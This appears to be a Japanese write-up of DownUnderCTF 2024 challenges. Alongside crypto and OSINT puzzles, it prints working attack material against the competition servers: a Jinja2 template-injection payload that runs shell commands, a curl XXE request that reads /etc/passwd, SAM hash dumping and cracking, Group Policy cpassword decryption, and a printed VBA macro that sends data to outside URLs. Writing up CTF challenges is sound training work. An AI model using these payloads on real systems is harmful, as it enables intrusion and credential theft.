<class 'werkzeug.wrappers.response.ResponseStreamMixin'>, 
<class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, 
<class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, 
<class 'werkzeug.wrappers.etag.ETagRequestMixin'>, 
<class 'werkzeug.wrappers.etag.ETagResponseMixin'>, 
<class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, 
<class 'werkzeug.test._TestCookieHeaders'>, 
<class 'werkzeug.test._TestCookieResponse'>, 
<class 'werkzeug.test.EnvironBuilder'>, 
<class 'werkzeug.test.Client'>, 
<class 'decimal.Decimal'>, 
<class 'decimal.Context'>, 
<class 'decimal.SignalDictMixin'>, 
<class 'decimal.ContextManager'>, 
<class 'numbers.Number'>, 
<class 'uuid.UUID'>, 
<class '_pickle.Pdata'>, 
<class '_pickle.PicklerMemoProxy'>, 
<class '_pickle.UnpicklerMemoProxy'>, 
<class '_pickle.Pickler'>, 
<class '_pickle.Unpickler'>, 
<class 'pickle._Framer'>, 
<class 'pickle._Unframer'>, 
<class 'pickle._Pickler'>, 
<class 'pickle._Unpickler'>, 
<class 'jinja2.bccache.Bucket'>, 
<class 'jinja2.bccache.BytecodeCache'>, 
<class 'jinja2.utils.MissingType'>, 
<class 'jinja2.utils.LRUCache'>, 
<class 'jinja2.utils.Cycler'>, 
<class 'jinja2.utils.Joiner'>, 
<class 'jinja2.utils.Namespace'>, 
<class 'jinja2.nodes.EvalContext'>, 
<class 'jinja2.nodes.Node'>, 
<class 'jinja2.visitor.NodeVisitor'>, 
<class 'jinja2.idtracking.Symbols'>, 
<class 'jinja2.compiler.MacroRef'>, 
<class 'jinja2.compiler.Frame'>, 
<class 'jinja2.runtime.TemplateReference'>, 
<class 'jinja2.runtime.Context'>, 
<class 'jinja2.runtime.BlockReference'>, 
<class 'jinja2.runtime.LoopContext'>, 
<class 'jinja2.runtime.Macro'>, 
<class 'jinja2.runtime.Undefined'>, 
<class 'jinja2.lexer.Failure'>, 
<class 'jinja2.lexer.TokenStreamIterator'>, 
<class 'jinja2.lexer.TokenStream'>, 
<class 'jinja2.lexer.Lexer'>, 
<class 'jinja2.parser.Parser'>, 
<class 'jinja2.environment.Environment'>, 
<class 'jinja2.environment.Template'>, 
<class 'jinja2.environment.TemplateModule'>, 
<class 'jinja2.environment.TemplateExpression'>, 
<class 'jinja2.environment.TemplateStream'>, 
<class 'jinja2.loaders.BaseLoader'>, 
<class 'werkzeug.local.Local'>, 
<class 'werkzeug.local.LocalStack'>, 
<class 'werkzeug.local.LocalManager'>, 
<class 'werkzeug.local._ProxyLookup'>, 
<class 'werkzeug.local.LocalProxy'>, 
<class 'difflib.SequenceMatcher'>, 
<class 'difflib.Differ'>, 
<class 'difflib.HtmlDiff'>, 
<class 'pprint._safe_key'>, 
<class 'pprint.PrettyPrinter'>, 
<class 'werkzeug.routing.RuleFactory'>, 
<class 'werkzeug.routing.RuleTemplate'>, 
<class 'werkzeug.routing.BaseConverter'>, 
<class 'werkzeug.routing.Map'>, 
<class 'werkzeug.routing.MapAdapter'>, 
<class 'gettext.NullTranslations'>, 
<class 'click._compat._FixupStream'>, 
<class 'click._compat._AtomicFile'>, 
<class 'click.utils.LazyFile'>, 
<class 'click.utils.KeepOpenFile'>, 
<class 'click.utils.PacifyFlushWrapper'>, 
<class 'click.types.ParamType'>, 
<class 'click.parser.Option'>, 
<class 'click.parser.Argument'>, 
<class 'click.parser.ParsingState'>, 
<class 'click.parser.OptionParser'>, 
<class 'click.formatting.HelpFormatter'>, 
<class 'click.core.Context'>, 
<class 'click.core.BaseCommand'>, 
<class 'click.core.Parameter'>, 
<class 'flask.signals.Namespace'>, 
<class 'flask.signals._FakeSignal'>, 
<class '__future__._Feature'>, 
<class 'zipfile.ZipInfo'>, 
<class 'zipfile.LZMACompressor'>, 
<class 'zipfile.LZMADecompressor'>, 
<class 'zipfile._SharedFile'>, 
<class 'zipfile._Tellable'>, 
<class 'zipfile.ZipFile'>, 
<class 'zipfile.Path'>, 
<class 'pathlib._Flavour'>, 
<class 'pathlib._Accessor'>, 
<class 'pathlib._Selector'>, 
<class 'pathlib._TerminatingSelector'>, 
<class 'pathlib.PurePath'>, 
<class 'zipp.glob.Translator'>, 
<class 'zipp.InitializedState'>, 
<class 'zipp.SanitizedNames'>, 
<class 'zipp.Path'>, 
<class 'textwrap.TextWrapper'>, 
<class 'importlib_metadata._compat.NullFinder'>, 
<class 'importlib_metadata.Sectioned'>, 
<class 'importlib_metadata.EntryPoint'>, 
<class 'importlib_metadata.FileHash'>, 
<class 'importlib_metadata.Distribution'>, 
<class 'importlib_metadata.DistributionFinder.Context'>, 
<class 'importlib_metadata.FastPath'>, 
<class 'importlib_metadata.Lookup'>, 
<class 'importlib_metadata.Prepared'>, 
<class 'flask.cli.DispatchingApp'>, 
<class 'flask.cli.ScriptInfo'>, 
<class 'flask.config.ConfigAttribute'>, 
<class 'flask.ctx._AppCtxGlobals'>, 
<class 'flask.ctx.AppContext'>, 
<class 'flask.ctx.RequestContext'>, 
<class 'flask.scaffold.Scaffold'>, 
<class 'itsdangerous.signer.SigningAlgorithm'>, 
<class 'itsdangerous.signer.Signer'>, 
<class 'itsdangerous._json._CompactJSON'>, 
<class 'flask.json.tag.JSONTag'>, 
<class 'flask.json.tag.TaggedJSONSerializer'>, 
<class 'flask.sessions.SessionInterface'>, 
<class 'flask.blueprints.BlueprintSetupState'>, 
<class 'unicodedata.UCD'>]

<class 'subprocess.Popen'>のインデックスは213。
以下のように入力してみる。

{{().__class__.__base__.__subclasses__()[213]('ls -l',shell=True,stdout=-1).communicate()}}

以下のように返ってきた。

(b'total 20\n-rw-r--r-- 1 root root 625 Jul 4 15:47 app.py\n-rw-r--r-- 1 root root 34 Jul 4 15:47 flag\n-rw-r--r-- 1 root root 29 Jul 4 15:47 requirements.txt\ndrwxr-xr-x 3 root root 4096 Jul 4 15:47 static\ndrwxr-xr-x 2 root root 4096 Jul 4 15:47 templates\n', None)

以下のように入力してみる。

{{().__class__.__base__.__subclasses__()[213]('cat flag',shell=True,stdout=-1).communicate()}}

以下のように返ってきた。

(b'DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}', None)
DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}

Sun Zi's Perfect Math Class (beginner) [crypto]

要約すると、以下のような内容になっている。

1,000人から1,100人の兵士が戦いを生き延びたと推定しましたが、
正確に何人の兵士がいたかを知る必要がありました。

兵士が3列に並ぶと、2人の兵士が余ります。
5列に並ぶと、4人の兵士が余ります。
7列に並ぶと、5人の兵士が余ります。

これから兵士が何人残っているかを知った。

これは中国人剰余定理の話である。

>>> crt([3, 5, 7], [2, 4, 5])
(mpz(89), 105)

>>> 1100// 105
10

105を10倍して89を足すと、1100をオーバーするので、もう一つ下の数になる。

>>> 105 * 9 + 89
1034

この答えを入力し、Submitボタンを押すと、次の問題が現れた。

e = 3

c_1 = 105001824161664003599422656864176455171381720653815905925856548632486703162518989165039084097502312226864233302621924809266126953771761669365659646250634187967109683742983039295269237675751525196938138071285014551966913785883051544245059293702943821571213612968127810604163575545004589035344590577094378024637

c_2 = 31631442837619174301627703920800905351561747632091670091370206898569727230073839052473051336225502632628636256671728802750596833679629890303700500900722642779064628589492559614751281751964622696427520120657753178654351971238020964729065716984136077048928869596095134253387969208375978930557763221971977878737

c_3 = 64864977037231624991423831965394304787965838591735479931470076118956460041888044329021534008265748308238833071879576193558419510910272917201870797698253331425756509041685848066195410586013190421426307862029999566951239891512032198024716311786896333047799598891440799810584167402219122283692655717691362258659

n_1 = 147896270072551360195753454363282299426062485174745759351211846489928910241753224819735285744845837638083944350358908785909584262132415921461693027899236186075383010852224067091477810924118719861660629389172820727449033189259975221664580227157731435894163917841980802021068840549853299166437257181072372761693

n_2 = 95979365485314068430194308015982074476106529222534317931594712046922760584774363858267995698339417335986543347292707495833182921439398983540425004105990583813113065124836795470760324876649225576921655233346630422669551713602423987793822459296761403456611062240111812805323779302474406733327110287422659815403

n_3 = 95649308318281674792416471616635514342255502211688462925255401503618542159533496090638947784818456347896833168508179425853277740290242297445486511810651365722908240687732315319340403048931123530435501371881740859335793804194315675972192649001074378934213623075830325229416830786633930007188095897620439987817

RSA暗号のHastad's Broadcast Attackの問題であるが、中国人剰余定理を使っているので、1問目の延長線上にある問題である。

#!/usr/bin/env python3
from Crypto.Util.number import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot

e = 3

c_1 = 105001824161664003599422656864176455171381720653815905925856548632486703162518989165039084097502312226864233302621924809266126953771761669365659646250634187967109683742983039295269237675751525196938138071285014551966913785883051544245059293702943821571213612968127810604163575545004589035344590577094378024637

c_2 = 31631442837619174301627703920800905351561747632091670091370206898569727230073839052473051336225502632628636256671728802750596833679629890303700500900722642779064628589492559614751281751964622696427520120657753178654351971238020964729065716984136077048928869596095134253387969208375978930557763221971977878737

c_3 = 64864977037231624991423831965394304787965838591735479931470076118956460041888044329021534008265748308238833071879576193558419510910272917201870797698253331425756509041685848066195410586013190421426307862029999566951239891512032198024716311786896333047799598891440799810584167402219122283692655717691362258659

n_1 = 147896270072551360195753454363282299426062485174745759351211846489928910241753224819735285744845837638083944350358908785909584262132415921461693027899236186075383010852224067091477810924118719861660629389172820727449033189259975221664580227157731435894163917841980802021068840549853299166437257181072372761693

n_2 = 95979365485314068430194308015982074476106529222534317931594712046922760584774363858267995698339417335986543347292707495833182921439398983540425004105990583813113065124836795470760324876649225576921655233346630422669551713602423987793822459296761403456611062240111812805323779302474406733327110287422659815403

n_3 = 95649308318281674792416471616635514342255502211688462925255401503618542159533496090638947784818456347896833168508179425853277740290242297445486511810651365722908240687732315319340403048931123530435501371881740859335793804194315675972192649001074378934213623075830325229416830786633930007188095897620439987817

ns = [n_1, n_2, n_3]
cs = [c_1, c_2, c_3]
me, _ = crt(ns, cs)
m, success = iroot(me, e)
assert success
print(m)

結果mは以下の通りとなる。

11564025922867522871782912815123211630478650327759091593792994457296772521676766420142199669845768991886967888274582504750347133

この答えを入力し、Submitボタンを押すと、フラグが現れた。

DUCTF{btw_y0u_c4n_als0_us3_CRT_f0r_p4rt14l_fr4ct10ns}

zoo feedback form (beginner) [web]

XXEの問題。試しに a と入力して、Submitすると、以下のデータが送信される。

<?xml version="1.0" encoding="UTF-8"?>
            <root>
                <feedback>a</feedback>
            </root>

/etc/passwdを読んでみる。

$ curl -H 'Content-Type: application/xml' https://web-zoo-feedback-form-2af9cc09a15e.2024.ductf.dev/ -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><feedback>&xxe;</feedback></root>'
<div style="color:green;">Feedback sent to the Emus: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</div>

flag.txtを読んでみる。

$ curl -H 'Content-Type: application/xml' https://web-zoo-feedback-form-2af9cc09a15e.2024.ductf.dev/ -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///app/flag.txt">]><root><feedback>&xxe;</feedback></root>' 
<div style="color:green;">Feedback sent to the Emus: DUCTF{emU_say$_he!!0_h0!@_ci@0}
</div>
DUCTF{emU_say$_he!!0_h0!@_ci@0}

shufflebox (crypto)

同じインデックスの文字に変わってるはず。

aaaabbbbccccdddd -> ccaccdabdbdbbada
abcdabcdabcdabcd -> bcaadbdcdbcdacab
???????????????? -> owuwspdgrtejiiud

例えば、1文字目は1行目がc、2行目がbになっているので、元の文字列でその場所を探す。10文字目がそうなっているので、最後の元の文字の10文字目はoとなる。同じようにして元の文字を作っていく。

aaaabbbbccccdddd
abcdabcdabcdabcd
udiditgjwowsuper
DUCTF{udiditgjwowsuper}

discord (misc)

Discordに入り、#team-searchチャネルのメッセージを見ると、フラグの破片があった。

DUCTF{f1r57

さらに#opt-in-updatesチャネルのメッセージを見ると、フラグのも一つの破片があった。

_0f_m4ny}
DUCTF{f1r57_0f_m4ny}

offtheramp (osint) [beginner]

$ exiftool offtheramp.jpeg 
ExifTool Version Number         : 12.76
File Name                       : offtheramp.jpeg
Directory                       : .
File Size                       : 1333 kB
File Modification Date/Time     : 2024:07:05 22:28:12+09:00
File Access Date/Time           : 2024:07:05 22:29:30+09:00
File Inode Change Date/Time     : 2024:07:05 22:28:12+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : None
Y Cb Cr Positioning             : Centered
Exif Version                    : 0210
Flashpix Version                : 0100
Color Space                     : Uncalibrated
GPS Version ID                  : 2.3.0.0
GPS Latitude Ref                : South
GPS Longitude Ref               : East
GPS Altitude Ref                : Above Sea Level
Image Width                     : 3024
Image Height                    : 4032
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 3024x4032
Megapixels                      : 12.2
GPS Altitude                    : 35 m Above Sea Level
GPS Latitude                    : 38 deg 9' 15.95" S
GPS Longitude                   : 145 deg 6' 29.69" E
GPS Position                    : 38 deg 9' 15.95" S, 145 deg 6' 29.69" E

緯度・経度がわかるので、Google Mapで調べる。

38°9'15.95"S 145°6'29.69"E

この桟橋のようなものの近くには以下のように書いてある。

Olivers Hill Boat Ramp
DUCTF{Olivers_Hill_Boat_Ramp}

Bridget Lives (osint) [easy]

橋にフォーカスして画像検索すると、以下のページなどが見つかった。

https://www.marriott.com/ja/hotels/sinfp-four-points-singapore-riverview/events/

このページにリンクされているマップを表示させる。航空写真にして、該当する橋を見てみると、その名前はRobertson Bridgeとなっている。
この橋は窓越しに上記のページのホストである以下のホテルから撮影されたと推測できる。

Four Points by Sheraton Singapore
DUCTF{Four_Points_by_Sheraton_Singapore}

Baby's First Forensics (forensics) [beginner]

pcapからサイバー攻撃者が使っていたツールとそのバージョンを答える問題。
HTTPの通信が多い。GETメソッドのUser-Agentが以下のようになっている。

Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:getinfo)
DUCTF{Nikto_2.1.6}

SAM I AM (forensics) [beginner]

SAMファイルとSYSTEMファイルのバックアップが添付されているので、パスワードをクラックする問題。
まずパスワードハッシュを取得する。

$ impacket-secretsdump -sam sam.bak -system system.bak LOCAL
Impacket v0.12.0.dev1+20240626.193148.f827c8c7 - Copyright 2023 Fortra

[*] Target system bootKey: 0xa88f47504785ba029e8fa532c4c9e27b
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up..

AdministratorのNTLMハッシュは以下の通りであることがわかる。

476b4dddbbffde29e739b618580adb1e

CrackStationでクラックすると、パスワードは以下の通り。

!checkerboard1
DUCTF{!checkerboard1}

Bad Policies (forensics) [beginner]

rebels.ductf\Policies\{B6EF39A3-E84F-4C1D-A032-00F042BE99B5}\Machine\Preferences\Groups\Groups.xmlに以下のように書いてある。

cpassword="B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2"

この暗号方式は公開されている。暗号方式はAES-CBC。key, ivもわかっているので、それを使って復号する。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from base64 import b64decode

def unpad(s):
    return s[:-s[-1]]

cpassword = 'B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2'
while True:
    if len(cpassword) % 4 == 0:
        break
    else:
        cpassword += '='

password = b64decode(cpassword)

key = """
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
""".replace(' ', '').replace('\n', '')
key = bytes.fromhex(key)

cipher = AES.new(key, AES.MODE_CBC, b'\x00' * 16)
flag = unpad(cipher.decrypt(password)).replace(b'\x00', b'').decode()
print(flag)
DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}

Macro Magic (forensics) [easy]

マクロコードを確認する。

$ olevba Monke.xlsm   
olevba 0.60.2 on Python 3.11.9 - http://decalage.info/python/oletools
===============================================================================
FILE: Monke.xlsm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 




' Totally Not Malware












' Try Harder








' Are you Monkey Enough!












Public Function anotherThing(B As String, C As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(B)
        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
    Next I
    anotherThing = A
End Function







' MDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDA=









' Do you even Excel!







Public Function importantThing()
    Dim tempString As String
    Dim tempInteger As Integer
    Dim I As Integer
    Dim J As Integer
    For I = 1 To 5
        Cells(I, 2).Value = WorksheetFunction.RandBetween(0, 1000)
    Next I
    For I = 1 To 5
        For J = I + 1 To 5
            If Cells(J, 2).Value < Cells(I, 2).Value Then
                tempString = Cells(I, 1).Value
                Cells(I, 1).Value = Cells(J, 1).Value
                Cells(J, 1).Value = tempString
                tempInteger = Cells(I, 2).Value
                Cells(I, 2).Value = Cells(J, 2).Value
                Cells(J, 2).Value = tempInteger
            End If
        Next J
    Next I
End Function














' MDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAxMDE=














Public Function totalyFine(A As String) As String
    Dim B As String
    B = Replace(A, " ", "-")
    totalyFine = B
End Function












' MDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDA=









' Do you even Excel!










Sub macro1()
    Dim Path As String
    Dim wb As Workbook
    Dim A As String
    Dim B As String
    Dim C As String
    Dim D As String
    Dim E As String
    Dim F As String
    Dim G As String
    Dim H As String
    Dim J As String
    Dim K As String
    Dim L As String
    Dim M As String
    Dim N As String
    Dim O As String
    Dim P As String
    Dim Q As String
    Dim R As String
    Dim S As String
    Dim T As String
    Dim U As String
    Dim V As String
    Dim W As String
    Dim X As String
    Dim Y As String
    Dim Z As String
    Dim I As Long
    N = importantThing()
    K = "Yes"
    S = "Mon"
    U = forensics(K)
    V = totalyFine(U)
    D = "Ma"
    J = "https://play.duc.tf/" + V
    superThing (J)
    J = "http://flag.com/"
    superThing (J)
    G = "key"
    J = "http://play.duc.tf/"
    superThing (J)
    J = "http://en.wikipedia.org/wiki/Emu_War"
    superThing (J)
    N = importantThing()
    Path = ThisWorkbook.Path & "\flag.xlsx"
    Set wb = Workbooks.Open(Path)
    Dim valueA1 As Variant
    valueA1 = wb.Sheets(1).Range("A1").Value
    MsgBox valueA1
    wb.Close SaveChanges:=False
    F = "gic"
    N = importantThing()
    Q = "Flag: " & valueA1
    H = "Try Harder"
    U = forensics(H)
    V = totalyFine(U)
    J = "http://downunderctf.com/" + V
    superThing (J)
    W = S + G + D + F
    O = doThing(Q, W)
    M = anotherThing(O, W)
    A = something(O)
    Z = forensics(O)
    N = importantThing()
    P = "Pterodactyl"
    U = forensics(P)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V
    superThing (J)
    T = totalyFine(Z)
    MsgBox T
    J = "http://downunderctf.com/" + T
    superThing (J)
    N = importantThing()
    E = "Forensics"
    U = forensics(E)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V
    superThing (J)
    
End Sub
















' MDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAxMDE=











Public Function doThing(B As String, C As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(B)
        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
    Next I
    doThing = A
End Function














' Think of the emus!






' MDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAxMDE=







Public Function superThing(ByVal A As String) As String
    With CreateObject("MSXML2.ServerXMLHTTP.6.0")
        .Open "GET", A, False
        .Send
        superThing = StrConv(.responseBody, vbUnicode)
    End With
End Function








' MDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDA=









' Do you even Excel!










' Try Harder














Public Function something(B As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(inputText)
        A = A & WorksheetFunction.Dec2Bin(Asc(Mid(B, I, 1)))
    Next I
    something = A
